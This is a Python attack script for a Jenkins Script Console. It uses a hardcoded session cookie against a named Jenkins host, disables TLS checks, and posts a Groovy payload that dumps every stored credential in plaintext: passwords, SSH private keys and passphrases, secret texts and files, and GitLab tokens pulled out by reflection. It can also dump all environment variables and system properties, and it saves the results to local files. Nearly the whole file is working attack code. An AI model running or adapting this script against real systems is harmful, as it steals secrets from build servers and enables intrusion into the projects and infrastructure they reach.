#!/usr/bin/env python3
"""
L3 Jenkins Script Console — credential extraction (v3, robust).
Each credential extracted in its own try/catch.
Uses Jenkins credentials API correctly: getDisplayName() is on IdCredentials mixin.
"""
import sys
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re
import argparse

BASE = "https://jenkins.camel-soft.com"
COOKIE = "JSESSIONID.3cb5c8ef=node01ndmoz5yqoo7wekrqondgfhi01325.node0"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def get_crumb():
    req = urllib.request.Request(BASE + "/")
    req.add_header("Cookie", COOKIE)
    with urllib.request.urlopen(req, timeout=25, context=ctx) as resp:
        html = resp.read().decode("utf-8", errors="replace")
    m = re.search(r'data-crumb-value="([^"]+)"', html)
    return m.group(1) if m else None

def run_groovy(script):
    crumb = get_crumb()
    if not crumb:
        return "ERROR: could not obtain crumb"
    data = urllib.parse.urlencode({"script": script}).encode("utf-8")
    req = urllib.request.Request(BASE + "/scriptText", data=data, method="POST")
    req.add_header("Cookie", COOKIE)
    req.add_header("Jenkins-Crumb", crumb)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        with urllib.request.urlopen(req, timeout=60, context=ctx) as resp:
            return resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        return "HTTP " + str(e.code) + ": " + e.read().decode("utf-8", errors="replace")[:500]
    except Exception as e:
        return "ERROR: " + str(e)

# Robust extraction — each cred fully independent, uses StandardCredentials interface
GROOVY_EXTRACT = r'''
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardCredentials
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.FileCredentials
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

println("=== CREDENTIAL VALUES ===")
def all = CredentialsProvider.lookupCredentials(StandardCredentials.class, Jenkins.instance, null, null)
println("TOTAL=" + all.size())
all.each { c ->
  println("---")
  // Safe ID
  try { println("ID=" + c.id) } catch(Exception ex) { println("ID_ERROR=" + ex.getMessage()) }
  // Safe type
  try { println("TYPE=" + c.class.name) } catch(Exception ex) { println("TYPE_ERROR") }
  // Safe display
  try { println("DISPLAY=" + c.getDisplayName()) } catch(Exception ex) { println("DISPLAY=unknown") }
  // Safe description
  try { println("DESCRIPTION=" + (c.getDescription() ?: "")) } catch(Exception ex) { println("DESCRIPTION=unknown") }

  // Username/password
  if (c instanceof UsernamePasswordCredentialsImpl) {
    try {
      println("USERNAME=" + c.getUsername())
      println("PASSWORD=" + c.getPassword().getPlainText())
    } catch(Exception ex) {
      println("UP_ERROR=" + ex.getMessage())
    }
  }

  // SSH key
  if (c instanceof BasicSSHUserPrivateKey) {
    try {
      println("SSH_USER=" + c.getUsername())
      println("SSH_PRIVATE_KEY_START")
      println(c.getPrivateKey())
      println("SSH_PRIVATE_KEY_END")
      def pp = c.getPassphrase()
      if (pp != null) {
        println("SSH_PASSPHRASE=" + pp.getPlainText())
      } else {
        println("SSH_PASSPHRASE=none")
      }
    } catch(Exception ex) {
      println("SSH_ERROR=" + ex.getMessage())
    }
  }

  // Secret text
  if (c instanceof StringCredentialsImpl) {
    try {
      println("SECRET_TEXT=" + c.getSecret().getPlainText())
    } catch(Exception ex) {
      println("SECRET_ERROR=" + ex.getMessage())
    }
  }

  // Secret file
  if (c instanceof FileCredentialsImpl) {
    try {
      println("FILE_NAME=" + c.getFileName())
      println("FILE_CONTENT_START")
      println(c.getContent().getText())
      println("FILE_CONTENT_END")
    } catch(Exception ex) {
      println("FILE_ERROR=" + ex.getMessage())
    }
  }

  // GitLab API token — check by class name (avoid import issues)
  String cn = c.class.name
  if (cn.contains("GitLabApiToken") || cn.contains("gitlabjenkins")) {
    try {
      // Try common token getter patterns
      def f = c.class.getDeclaredField("apiToken")
      f.setAccessible(true)
      def tok = f.get(c)
      if (tok != null) {
        println("GITLAB_TOKEN=" + tok.toString())
      }
    } catch(Exception ex1) {
      try {
        // Try all fields for a Secret
        c.class.declaredFields.each { ff ->
          if (!ff.synthetic && ff.name.contains("token") || ff.name.contains("Token")) {
            ff.setAccessible(true)
            def v = ff.get(c)
            if (v != null) {
              String vs = v.toString()
              if (vs.length() > 500) { vs = vs.substring(0, 500) }
              println("GITLAB_FIELD_" + ff.name + "=" + vs)
            }
          }
        }
      } catch(Exception ex2) {
        println("GITLAB_ERROR=" + ex2.getMessage())
      }
    }
  }
}
println("=== END CREDENTIALS ===")
'''

GROOVY_SYSTEM_ENV = (
    "println('=== SYSTEM ENV ===')\n"
    "System.getenv().each { k, v -> println(k + '=' + v) }\n"
    "println('=== SYSTEM PROPS ===')\n"
    "System.getProperties().each { k, v -> println(k + '=' + v) }\n"
)

def main():
    p = argparse.ArgumentParser()
    p.add_argument("--extract-creds", action="store_true")
    p.add_argument("--system-env", action="store_true")
    args = p.parse_args()

    if args.extract_creds:
        print("[!] L3: extracting credential values")
        result = run_groovy(GROOVY_EXTRACT)
        print(result)
        with open("credentials_extracted.txt", "w") as f:
            f.write(result)
        print("\n[*] Saved to credentials_extracted.txt")
    elif args.system_env:
        result = run_groovy(GROOVY_SYSTEM_ENV)
        print(result)
        with open("system_env.txt", "w") as f:
            f.write(result)
        print("\n[*] Saved to system_env.txt")
    else:
        p.print_help()

if __name__ == "__main__":
    main()
